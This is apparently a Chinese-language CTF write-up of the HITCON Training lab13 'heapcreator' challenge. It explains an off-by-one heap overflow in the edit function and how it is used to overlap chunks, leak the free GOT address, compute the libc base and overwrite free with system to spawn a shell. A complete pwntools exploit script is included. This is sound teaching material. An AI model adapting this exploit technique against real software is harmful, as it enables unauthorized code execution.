堆溢出
栈有溢出其实堆也是有溢出的,理论上来说,其实有内存的地方如果没有控制好,肯定都是可以利用溢出去完成攻击的。
这里要明确一件事,我们溢出是为了什么,无非就是修改程序中正常的数据变得不正常,改变程序的执行流。
而堆的溢出和栈不同,它主要是为了修改size已经一些特殊的位置。
上例题在例题中讲解:HITCON Trainging lab13
标准的板子题,上菜单。

- create_heap

循环,创建chunk结构体,一个结构体0x10大小。
然后结构体里有size和content指针。
前八个字节用来放size后八个字节用来放content的指针。
2. edit_heap

编辑的话就是输入idx便可以修改对应的chunk,而且它多了一个字节的修改空间
read_input(*((_QWORD )(&heaparray + v1) + 1), *(_QWORD )(&heaparray + v1) + 1LL);
这里的+1ll
3.show_heap

这个也很简单,就是输出相关的内容
4.delete——heap

先释放content指针,再释放size,而且指针归零没有UAF
静态分析结束
这道题的目前还是没有什么明显的漏洞点,所以我们看看chunk结构吧
这里开两个chunk

发现是有4个chunk还有一个top chunk,问题也不大,就是前面的是结构体chunk后面是data chunk
这里思考一个问题,如果我们去free一个chunk,首先是free content,删除函数里写了。如果我们可以把free函数改成system函数,然后把free的地方放上bin/sh/,不就可以了吗?
抱着这个想法,我们往下走
还有,我们的edit函数也是有一个奇怪的地方的,可以多修改一个数据
edit(0,"/bin/sh\x00"+'b'*0x10+'\x41')
这一句,我们干了什么呢?
首先第一句话我们改成了bin/sh/其次,最后我们把一个chunk大小改成了0x41

可以看看chunk。
到了这里我们就直接上exp吧
点击查看代码
from pwn import *
io=process("./heapcreator")
def alloc(size,content):
io.sendlineafter("Your choice :",'1')
io.sendlineafter("Size of Heap : ",str(size))
io.sendlineafter("Content of heap:",content)
def edit(idx,content):
io.sendlineafter("Your choice :",'2')
io.sendlineafter("Index :",str(idx))
io.sendlineafter("Content of heap :",content)
def show(idx):
io.sendlineafter("Your choice :",'3')
io.sendlineafter("Index :",str(idx))
def delete(idx):
io.sendlineafter("Your choice :",'4')
io.sendlineafter("Index :",str(idx))
elf=ELF("heapcreator")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
alloc(0x18,'aaaaa')
alloc(0x10,'aaaaa')
edit(0,"/bin/sh\x00"+'b'*0x10+'\x41')
delete(1)
alloc(0x30,p64(0)*3+p64(0X21)+p64(0X30)+p64(elf.got['free']))
show(1)
io.recvuntil("Content : ")
free_addr = u64(io.recvuntil("Done !").split("\n")[0].ljust(8,"\x00"))
libcbase=free_addr-libc.symbols['free']
sys_addr=libcbase+libc.sym['system']
edit(1,p64(sys_addr))
delete(0)
io.interactive()

及时我们的chunk被修改了,我们还是可以去show,并且把free got的位置数据去泄露,free的真实地址。
然后我们就可以去获得system的真实地址。并且去修改free got表,把他改成system最后就是我们deltet(0),就会去调用本来free的位置的函数,这时候被我们改成的system就有用了。而且我们的bin/sh/也用上了,这样就通了

浙公网安备 33010602011771号